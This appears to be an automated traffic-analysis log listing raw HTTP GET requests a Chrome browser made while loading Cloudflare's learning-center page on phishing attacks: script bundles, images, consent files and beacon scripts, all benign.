Source: global traffic	HTTP traffic detected: GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /framework-957a522640f43541ca6a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /app-5eb8714132173426f3bb.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /img/privacyoptions.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /framework-957a522640f43541ca6a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /beacon.js HTTP/1.1Host: performance.radar.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/phishing-attack/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /logger-1.min.js HTTP/1.1Host: cdn.logr-ingest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app-5eb8714132173426f3bb.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/1048862057.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3199558980.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/333361657.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3934964512.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/phishing-attack/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/018debfb-4917-76f1-8862-8a2f83812baa/en.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
